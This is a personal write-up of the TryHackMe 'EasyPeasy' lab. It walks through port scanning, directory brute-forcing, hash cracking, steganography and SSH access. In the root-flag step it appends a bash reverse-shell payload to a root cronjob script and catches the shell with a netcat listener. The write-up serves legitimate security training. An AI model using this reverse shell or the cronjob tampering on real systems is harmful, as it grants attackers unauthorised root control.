Marial's Notes
  • Hello!
  • Pentesterlab Labs
    • Recon Badge
      • recon_00 (/robots.txt)
      • recon_01 (404 pages)
      • recon_02 (/.well-known/security.txt)
      • recon_03 (directory listing)
      • recon_04 (/admin)
      • recon_05 (wfuzz)
      • recon_06 (vhost)
      • recon_07 (vhost over TLS)
      • recon_08 (alt name)
      • recon_09 (header)
      • recon_10 (visual recon)
      • recon_11 (virtual host brute)
      • recon_12 (load balance)
      • recon_13 (TXT)
      • recon_14 (zone transfer)
      • recon_15 (int zone transfer)
      • recon_16 (bind version)
      • recon_17 (dev name)
      • recon_18 (public repos)
      • recon_19 (find email)
      • recon_20 (check branches 1)
      • recon_21 (check branches 2)
      • recon_22 (deleted file)
      • recon_23 (commit message)
      • recon_24 (assets)
      • recon_25 (S3)
      • recon_26 (JS)
  • TryHackMe Rooms
    • Basic Pentesting
    • EasyPeasy
    • Kenobi
    • Vulnversity
Powered by GitBook
On this page
  • Task 1: Enumeration through Nmap
  • 1.1 How many ports are open?
  • 1.2 What is the version of nginx?
  • 1.3 What is running on the highest port?
  • Task 2: Compromising the machine
  • 2.1 Using GoBuster, find flag 1.
  • 2.2 Further enumerate the machine, what is flag 2?
  • 2.3 Crack the hash with easypeasy.txt, What is the flag 3?
  • 2.4 What is the hidden directory?
  • 2.5 Using the wordlist that was provided to you in this task crack the hash what is the password?
  • 2.6 What is the password to login to the machine via SSH?
  • 2.7 What is the user flag?
  • 2.8 What is the root flag?

Was this helpful?

  1. TryHackMe Rooms

EasyPeasy

Practice using tools such as Nmap and GoBuster to locate a hidden directory to get initial access to a vulnerable machine. Then escalate your privileges through a vulnerable cronjob.

PreviousBasic PentestingNextKenobi

Last updated 7 months ago

Was this helpful?

Try this challenge in

I tried this easy CTF and below is my thought process on how I answered the questions and some notes for future reference. I got some hints from this Medium walkthrough:

Task 1: Enumeration through Nmap

1.1 How many ports are open?

Let's run a nmap scan to check the open ports on the IP assigned to us. Just replace the 10.10.X.X to the IP given to you.

nmap -sT -p 1-65535 10.10.X.X

-sT (TCP connect scan)

To answer the next two questions, we’ll be running a nmap scan for the open ports:

1.2 What is the version of nginx?

1.3 What is running on the highest port?

nmap -p80,6498,65524 10.10.X.X -sV

Task 2: Compromising the machine

2.1 Using GoBuster, find flag 1.

Run gobuster for http://10.10.X.X/

gobuster dir -u http://10.10.X.X/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

We found out that there is a /hidden directory. Let's try to run gobuster for http://10.10.X.X/hidden

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.X.X/hidden

Go to http://10.10.X.X/hidden/whatever

Copy the hidden hash

2.2 Further enumerate the machine, what is flag 2?

Run gobuster for http://10.10.X.X:65524

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.X.X:65524

Check 10.10.X.X:65524/robots.txt

In the User-Agent field, there’s a hash

cd /hash-identifier
python3 hash-id.py <insert hash here>

Decrypt hash using an online MD5 decrypter

2.3 Crack the hash with easypeasy.txt, What is the flag 3?

From our nmap scan, go to http://10.10.X.X:65524

Flag 3 is written in plain sight on the web page

2.4 What is the hidden directory?

When you View the Page Source of http://10.10.X.X:65524, a hidden field will be seen that has a hash.

2.5 Using the wordlist that was provided to you in this task crack the hash what is the password?

When you go to the hidden directory, you’ll see a picture

Save the image with its default name

We’ll use steganography to decode the message in the image

steghide --extract -sf bianrycodepixabay.jpg

But a passphrase is needed to decrypt this file

Let’s try to View the Page Source of the image page to get some clues. We indeed retrieved a hash.

Save the hash using the filename hash.txt

nano hash.txt

To decrypt the hash, use the johntheripper module

sudo /opt/john/john --wordlist=easypeasy.txt --format=gost hash.txt

2.6 What is the password to login to the machine via SSH?

Going back to the steghide module, enter the passphrase that we got.

A file secrettext.txt was extracted. Use this to view the contents of the file.

cat secrettext.txt

We’ll get a username boring and binary numbers that need to be decrypted

Use a Binary to Text converter tool online like this:

2.7 What is the user flag?

From our previous nmap scan, we’ll use the port 6498 for the ssh access

ssh [email protected] -p 6498
ls
cat user.txt

From the Hint, we got the term “Rotated”, which suggests that this may be encrypted with ROT13. Using CyberChef, we decrypt the flag.

2.8 What is the root flag?

From the description of this room, we are expected to escalate our privileges through a vulnerable cronjob

cat /etc/crontab

The cron job is located in /var/www

cd /var/www
ls -la

We’ll see the cronjob mysecretcronjob.sh that said that will run as root.

cat .mysecretcronjob.sh

We can set up a netcat listener in our machine to have a reverse shell since the cronjob has root privileges.

nc -lvnp 5556

Let's craft our payload:

echo "bash -i >& /dev/tcp/10.10.X.X/5556 0>&1" >> .mysecretcronjob.sh

*use your machine IP & port 5556

Let's now wait for the cronjob to be executed to receive a shell

cd /root
ls -la

We can see the flag in the .root.txt file.

cat .root.txt

To decrypt the hash, go to an online decrypter like for faster results

To find the type of the hash, use module

We’ll use to decrypt hash from Base6X (explore options available in CyberChef)

Get the reverse shell script from then replace the contents of mysecretcronjob.sh

https://hashes.com/en/decrypt/hash
hash-identifier
CyberChef
https://www.rapidtables.com/convert/number/binary-to-ascii.html
pentestmonkey's reverse shell cheat sheet
TryHackMe: Easy Peasy
TryHackMe: Easy Peasy Write-up by Kevin De Vijlder